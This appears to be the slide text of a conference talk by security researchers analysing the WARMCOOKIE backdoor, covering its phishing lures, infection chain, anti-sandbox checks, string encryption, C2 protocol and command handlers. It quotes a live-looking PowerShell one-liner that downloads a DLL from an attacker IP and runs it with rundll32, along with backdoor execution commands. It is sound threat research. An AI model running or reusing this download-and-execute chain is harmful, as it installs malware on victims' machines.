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WARMCOOKIE

• Current Landscape
‒ Operation Endgame

• Attack vectors
‒ Email
‒ Fake software updates / infected websites

• WARMCOOKIE
‒ Lightweight backdoor
‒ Quickly allows hands on keyboard 
‒ Initial access broker (IAB) / ransomware delivery

• Strategic email campaigns
‒ Slower approach, region specific
‒ Lures are well-written, targeted to individuals
‒ Appears to be successful

Summary
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Acknowledgements

• eSentire
‒ Malware Analysis: Resident Campaign

• G DATA
‒ Backdoor BadSpace delivered by high-ranking 

infected websites

• Community
‒ Cryptolaemus

Vendors + Community

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
https://www.gdatasoftware.com/blog/2024/06/37947-badspace-backdoor
https://www.gdatasoftware.com/blog/2024/06/37947-badspace-backdoor
https://x.com/cryptolaemus1?lang=en
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Discovery / Comparison

• eSentire discovery (June 2023)

• Incident #2 drops resident2.exe

• Similarities
‒ Code overlap
‒ Similar API’s used for fingerprint calculation
‒ Same string decryption algorithm (RC4 + structure)
‒ Same masquerade (RtlUpd.exe)
‒ Scheduled task every 10 minutes
‒

• Differences
‒ Handlers focused on execution via shell32, certutil.exe
‒ RC4 key (GUID) 

WARMCOOKIE

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
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Resident campaign 
MD5: 14192c4d539c0deee8e7580e66a284d9

WARMCOOKIE 
MD5: 14192c4d539c0deee8e7580e66a284d9



Investigative Timeline

3 Infections
April 24, 2024

WARMCOOKIE blog 
published
June 11, 2024

United Rentals Campaign
(New Version)
August 14, 2024

Recruiting Campaign
May 5, 2024

VirusBulletin 
Presentation
October 3, 
2024
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Emails
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 Gate/Redirector

PDF

    Email

JavaScript

PowerShell

JavaScript

United Rentals Theme (August 2024)

DLL

Gate/Redirector

Email link

    Email

Landing 
page

PowerShell

JavaScript

Recruiting Theme (May 2024)

Infection Chains

ZIP

DLL
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URL

Enticing subjects
Spoof sender

Uses HR/Recruiting employees from Michael Page
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● Impersonating several 
large staffing firms

Recruiting themes 
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Redirectors

• Leverages compromised infrastructure to gate incoming clicks



13

- 80+ URL submissions
May Campaign
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- 90+ URL Submissions
July Campaign
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Landing Page - Campaign Infrastructure
• 117 resolved domains at 45.9.74.135

• Abuses .TOP TLD top-level domain
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Landing Pages

• Personalization

• Action oriented
‒ Shot clock timer

• Captcha challenge
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Landing Pages
• Similar pages reported by Google 

(Oct 2022) tied to URSNIF

• Same distributor, different 
malware?

https://cloud.google.com/blog/topics/threat-intelligence/rm3-ldr4-ursnif-banking-fraud/

https://cloud.google.com/blog/topics/threat-intelligence/rm3-ldr4-ursnif-banking-fraud/
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<script>

    const deadline = new Date();

    deadline.setDate(deadline.getDate() + 1);

    deadline.setHours(0);

    deadline.setMinutes(0);

    deadline.setSeconds(0);

    let timerId = null;

    function countdownTimer () {

        const date = new Date();

        date.setHours(date.getUTCHours() + 1)

        const diff = deadline - date;

        if (diff <= 0) {

            clearInterval(timerId);

        }

        const hours = diff > 0 ? Math.floor(diff / 1000 / 60 / 60) % 24 : 0;

        const minutes = diff > 0 ? Math.floor(diff / 1000 / 60) % 60 : 0;

        const seconds = diff > 0 ? Math.floor(diff / 1000) % 60 : 0;

        $hours.textContent = hours < 10 ? '0' + hours : hours;

        $minutes.textContent = minutes < 10 ? '0' + minutes : minutes;

        $seconds.textContent = seconds < 10 ? '0' + seconds : seconds;

    }

    const $hours = document.getElementById("id_H");

    const $minutes = document.getElementById("id_M");

    const $seconds = document.getElementById("id_S");

    countdownTimer();

    setInterval(countdownTimer, 1000);

</script>
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United Rentals 

• Distributed in more generic lure

• PDF attachment

August 14 Campaign
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JavaScript

• 7.5 MB file

• Mixed with 2022 European 
E-Commerce Report

• Low detection rates for days

8/14 Campaign
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2222

Malware Analysis
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WARMCOOKIE

✓ Dynamic API resolving
✓ Anti-sandbox
✓ String Encryption
✓ Mutex
✓ Fingerprint/Bot ID
✓ RC4

MalDev Starter Kit
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Landing page  JavaScript PowerShell downloads 
DLL via BITS

DLL execution with 
Start export

start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + 

    [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 

    'http://80.66.88.146/data/5fb6dd81093a0d6812c17b12f139ce35' 

    -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + 

    ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job

PowerShell script

Initial Setup
Stage 1



25

Scheduled Task DLL execution with Start /u

Initial Setup
Stage 2
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Dynamic API 
• Decrypts DLL/API strings (No API hashing)

‒ GetModuleHandleW + GetProcAddress

• Resolves following DLL’s
‒ KERNEL32.DLL
‒ ADVAPI32.DLL
‒ WININET.DLL
‒ SHELL32.DLL
‒ NTDLL.DLL
‒ USER32.DLL
‒ GDI32.DLL
‒ GDIPLUS.DLL
‒ OLE32.DLL
‒ SECUR32.DLL

• Wipes strings after resolution
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String Encryption
• Encrypted strings stored as globals inside .rdata section

• Uses custom function/struct in combination with RC4
struct meow {

    uint32_t size;    // 4 bytes to store the size of the data

    uint32_t key;     // 4 bytes to store the key

    uint8_t* data;    // Pointer to variable size data

};
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Size: 0x14

RC4 Key: 3b7e0422

Encrypted: f10e27d4b295f95806d529e124460266f47706f9

Decrypted: GlobalMemoryStatusEx
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Anti-sandboxing
• Processor check

‒ Retrieves dwNumberOfProcessors 

‒ Via SYSTEM_INFO struct from GetNativeSystemInfo call
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Anti-sandboxing
• Memory check

‒ Retrieves total physical memory value

‒ Via MEMORYSTATUSEX struct from GlobalMemoryStatusEx call

‒ 0x0000000183F7D000 >> 20 = 0x183f
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Is Number of 
Processors >= 4

Execution

Physical Memory >= 
0xF00

Is Number of 
Processors >= 8

Execution

Physical Memory >= 
0x2000

Execution

Sandbox Logic

1st check

2nd check

3rd check
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WARMCOOKIE
Checksum def calculate_checksum(str_input, str_len, i):

    if i == 0:

        i = 0xFFFFFFFF

    if i == -1:

        i = 0

    for idx in range(0, str_len, 2):

        v6 = str_input[idx] | (str_input[idx + 1] << 8)

        for _ in range(16):

            if (v6 ^ i) & 1:

                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF

            else:

                i = (i >> 1) & 0xFFFFFFFF

            v6 >>= 1

    return ~i & 0xFFFFFFFF

• Generates checksums using:
‒ Mutex

‒ Volume serial number

‒ Computer name

‒ User name

• Leverages CRC32 with seed parameter
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WARMCOOKIE
Victim Data Checksums

Mutex: a208f030-25f9-4f41-8b57-6b0b7ecccf29

           CRC32(mutex): 0x3b8963b9   ⊕ Volume Serial: 0x0A2C9AD2F     

           CRC32(username): 0xde17107b   ⊕

Username: REM
Computer name: DESKTOP-2C3IQHO

 CRC32(computer_name): 0xe654b77c

#1 Checksum: 0x9940ce96

#2 Checksum: 0x3843a707
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Newest Changes (August 2024)
• Code optimization
• Swapped the 2nd stage command-line from /p to /u
• Randomizes folder names / tasks names
C:\ProgramData\RtlUpd\RtlUpd.dll -> C:\ProgramData\Vectorform\Updater.dll

• Newly added campaign ID (aws)
• Added 4 new handlers

Similar
- Same checksum implementation
- Same hardcoded 8-byte RC4 key
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Code Optimization

April 2024 August 2024
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String Bank
• New version includes “string bank” used for directory/task names

‒ 56 encrypted strings
‒ 23 paths used
‒ 23 fake

• Seeded by GetTickCount for randomization

Tyrannosaurus Tech
Savage App Development
Spiralogics
Build your next generation application
TechSparq
Relentless in The Pursuit of Unified Commerce
Software AG
Unleash your digital vision
Vectorform
A digital transformation and innovation company.
TECLA
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String Bank

• Appends  filename “Updater.dll” to directory
‒ Examples:

‒ Zagaran Software\Updater.dll
‒ TechSparq\Updater.dll
‒ Tyrannosaurus Tech\Updater.dll

• String bank (gist)

https://gist.github.com/dstepanic/9e7b58a71deef308dbc6ae82137f2f7e
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WARMCOOKIE

• C2 over HTTP

• Cookie data protected via Base64 + RC4

• Data in transit protected via RC4

• RC4 key hard-coded, re-used across samples

• Each sample comes with hardcoded IP, no config

• Implements checksum verification within handler

Network Communication
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WARMCOOKIE
Cookie Request Structure

https://imhex.werwolv.net/

https://imhex.werwolv.net/
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WARMCOOKIE
Cookie Request 

Cookie RC4 Base64

HTTP 
Request
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WARMCOOKIE
Network Communication

• C2 data sent through POST Requests
• Raw form (RC4 encrypted)
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Handlers
Command ID Description

1 Retrieve victim details (CPU, IP)

2 Record screenshots of victim machine

3 Retrieve installed programs via Uninstall registry path

4 Command-line execution (cmd.exe /c)

5 Write file to victim machine

6 Read file from victim machine

7 PE file execution

8 DLL execution

9 PowerShell script execution

10 DLL execution with Start export and /update

11 Self-removal (delete scheduled task/DLL)

• 11 handlers in total
• Added 4 new handlers since August

‒ Focus on post-compromise execution 

‒ EXE/DLL/PS1

‒ Hardcoded DLL 
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Retrieve Victim Info 
Handler (#1)

MTkyLjE2OC4xODIuMTM0 192.168.182.134

QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUN
vcmUgUHJvY2Vzc29yICAgICAgICAgICA=

AMD Ryzen 7 7800X3D 8-Core Processor

https://imhex.werwolv.net/

• Grabs IP address
• Processor info
• Physical memory

https://imhex.werwolv.net/
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Screenshot Grabber

• Takes screenshot of victim machine using Windows graphics DLLs
‒ BitBlt / CreateCompatibleBitmap / GetSystemMetrics

• No compression

Handler (#2)

https://imhex.werwolv.net/

https://imhex.werwolv.net/
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Get Installed Programs

• Reads installed programs via 
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

• Retrieves DisplayName,DisplayVersion, InstallDate

• Encodes each entry, placed in pipe-delimited order

Handler (#3)

Encoded Value Decoded Value

Ny1aaXAgMTguMDEgKHg2NCk=|MTguMDE=|-| 7-Zip 18.01 (x64)18.01
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Cmd Execution

• Backdoor functionality through cmd.exe /c

• Process creation flag uses CREATE_NO_WINDOW 

Handler (#4)
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Cmd Execution

• Uses combination of PeekNamedPipe and ReadFile to read output 

• Result
‒ Output from command (base64)
‒ Error: OK (No output data)

Handler (#4)

https://imhex.werwolv.net/

https://imhex.werwolv.net/
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File Write

• C2 server provides:
‒ File path
‒ File content

• Result
‒ Success: OK
‒ Error: ERROR: Cannot write file

Handler (#5)

https://imhex.werwolv.net/

https://imhex.werwolv.net/
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File Read

• C2 server provides:
‒ File path

• Result
‒ Success: OK (See 'Files' tab)
‒ Error: ERROR: Cannot read file

Handler (#6)

https://imhex.werwolv.net/

https://imhex.werwolv.net/
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PE File Execution

• Steps
‒ Creates folder in temp directory

‒ dat40Fb.tmp
‒ Writes PE content to folder with randomly generated name

‒ 40FC.exe
‒ Executes PE file through handler 

• C2 server provides:
‒ PE file

• Result
‒ Success: 1
‒ Error: 0

Handler (#7)
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DLL Execution (Custom)

• Steps
‒ Creates folder in temp directory

‒ datE7EF.tmp
‒ Writes DLL content to folder with randomly generated name

‒ E7F0.dll
‒ Executes DLL through handler with custom export

• C2 server provides:
‒ DLL file
‒ Export

• Result
‒ Success: 1
‒ Error: 0

Handler (#8)
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PowerShell Script Execution 

• Execute stand-alone PowerShell scripts (.ps1)

• C2 server provides:
‒ PowerShell script

• Result
‒ Success: 1
‒ Error: 0

Handler (#9)

rundll32.exe "C:\ProgramData\Vectorform\Updater.dll", Start /u
powershell.exe -ExecutionPolicy Bypass 

-file "C:\Users\REM\AppData\Local\Temp\dat36BD.tmp\3D26.ps1"
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DLL Execution -  (Hardcoded)

• Hardcodes DLL execution with Start export and command-line (/update)

• File content passed from server
‒ Writes DLL in temporary directory
‒ Launches DLL using rundll32.exe

   rundll32.exe "C:\ProgramData\Vectorform\Updater.dll", Start /u
 rundll32.exe "C:\Users\REM\AppData\Local\Temp\datE7EF.tmp\E7F0.dll",Start /update

Handler (#10)
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Self-Removal

• Delete scheduled task
• Delete WARMCOOKIE DLL 

Handler (#11)
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Tooling/Closing
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Tooling
• IDA Pro - String Decryption 
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Tooling
• Replicate C2 server (Flask)

‒ JavaScript - 
‒ SHA256: 87f57a7a4b4c83ecb3cdd5f274c95cd452c703de604f68aff6e59964b662e3f8

‒ DLL
‒ SHA256: f4d2c9470b322af29b9188a3a590cbe85bacb9cc8fcd7c2e94d82271ded3f659
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Closing Thoughts

• Active codebase, adding features

• Filling in the gap, gaining momentum

• Clear example of transition from modular malware
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Thank you!
• Links

‒ Tooling: WARMCOOKIE Tools
‒ YARA: Windows.Trojan.WarmCookie
‒ Blog: https://www.elastic.co/security-labs/dipping-into-danger

• Reach out
‒ @DanielStepanic
‒ @elasticseclabs

https://github.com/elastic/labs-releases/tree/main/tools/warmcookie
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar
https://www.elastic.co/security-labs/dipping-into-danger
https://twitter.com/DanielStepanic
https://twitter.com/elasticseclabs

